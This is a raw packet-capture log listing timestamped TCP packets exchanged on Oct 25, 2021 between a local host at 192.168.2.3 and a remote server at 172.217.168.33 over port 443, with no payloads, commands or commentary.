Oct 25, 2021 18:17:37.333223104 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.333245993 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333319902 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333378077 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333400011 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333421946 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333563089 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.334410906 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334439039 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334461927 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334485054 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334507942 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334528923 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334549904 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334570885 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334597111 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334619045 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.334935904 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.335552931 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335580111 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335606098 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335627079 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335648060 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335669994 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335689068 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335706949 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335725069 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335747004 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335768938 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.335792065 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336186886 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.336745024 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336775064 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336801052 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336824894 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336847067 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336869955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336891890 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336914062 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336936951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336958885 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.336983919 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.337007046 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.337029934 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.337052107 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.337416887 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.338270903 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338300943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338319063 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338344097 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338366032 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338391066 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338413954 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338433981 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338458061 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338479996 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338500977 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338520050 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338541031 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338565111 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338588953 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338609934 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338630915 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338654041 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338675022 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338696957 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338720083 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338745117 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338768959 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338789940 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.338922977 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.339247942 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.339565992 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.339967012 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340087891 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340111017 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340131044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340151072 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340169907 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340188980 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340209961 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340229988 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340255022 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340275049 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340293884 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340312958 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340332031 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340352058 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340389013 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.340399981 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340423107 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340441942 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.340754032 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.341408968 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341434956 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341455936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341479063 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341500998 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341521978 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341545105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341566086 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.341589928 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342370033 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342396975 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342420101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342443943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342466116 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342492104 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342515945 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342536926 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342560053 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342582941 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342602015 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342623949 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342645884 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342670918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342694044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342715979 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.342925072 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.343293905 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.343724966 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.343753099 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.343775034 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.343796015 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345763922 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345905066 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345927954 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345944881 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345959902 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345978975 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.345995903 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346010923 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346025944 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346041918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346057892 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346072912 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346087933 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346107960 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346124887 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346138954 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346295118 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.346632004 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.346873045 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346899986 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346924067 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346949100 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.346970081 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.347349882 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.349447966 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349581003 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349600077 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349617004 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349634886 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349654913 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349677086 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349695921 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349714041 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349838972 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349858046 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349874973 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349893093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349910975 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349931955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349951029 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349967957 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.349987030 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.350500107 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.351421118 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351442099 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351459980 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351478100 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351495028 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351514101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351535082 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351553917 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351572037 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351589918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351608038 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351627111 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351645947 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351665974 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351689100 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351707935 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351726055 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351773977 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351793051 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351816893 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351838112 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351857901 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351880074 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351902008 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351924896 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.351949930 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352045059 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.352366924 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.352833986 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352866888 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352888107 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352929115 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352955103 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.352977991 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353017092 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.353027105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353053093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353075027 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353095055 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353116035 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353137016 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353158951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353179932 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353203058 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353246927 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353250027 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.353682041 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.353686094 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353729010 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353753090 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353775024 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353796959 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353862047 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353885889 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353908062 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353928089 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353945017 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.353965044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.354341984 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.355246067 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355278969 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355302095 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355324984 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355346918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355370998 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355405092 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355422974 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355448008 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355469942 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355492115 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355515003 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355539083 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355561018 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355581045 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355602980 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355627060 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355650902 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355671883 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355695009 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355715036 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355734110 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355756044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355777025 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355802059 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355823994 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355844021 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355866909 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.355962038 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.356290102 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.356460094 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356487989 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356511116 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356533051 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356556892 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356580019 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356609106 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356623888 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.356631041 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356652975 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356678009 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356698990 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356719017 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356740952 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356764078 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356784105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356805086 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356828928 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356853962 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356875896 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356894970 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356915951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.356936932 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.357045889 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.357351065 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.357966900 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.357991934 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358012915 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358036041 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358146906 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358167887 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358187914 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358207941 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358227015 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358252048 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358273029 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358292103 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358478069 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358498096 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358515024 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358540058 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358561039 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358581066 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358601093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358622074 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358642101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.358661890 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359025002 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.359157085 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359183073 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359206915 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359227896 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359255075 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359280109 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359297037 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359321117 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359343052 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359366894 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359390020 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359411001 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359433889 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359453917 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359474897 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359498024 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359519958 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359541893 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359564066 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359586000 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359607935 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359632969 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359653950 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359674931 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.359972954 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.360156059 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360181093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360202074 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360224009 CEST	443	60983	172.217.168.33	192.168.2.3
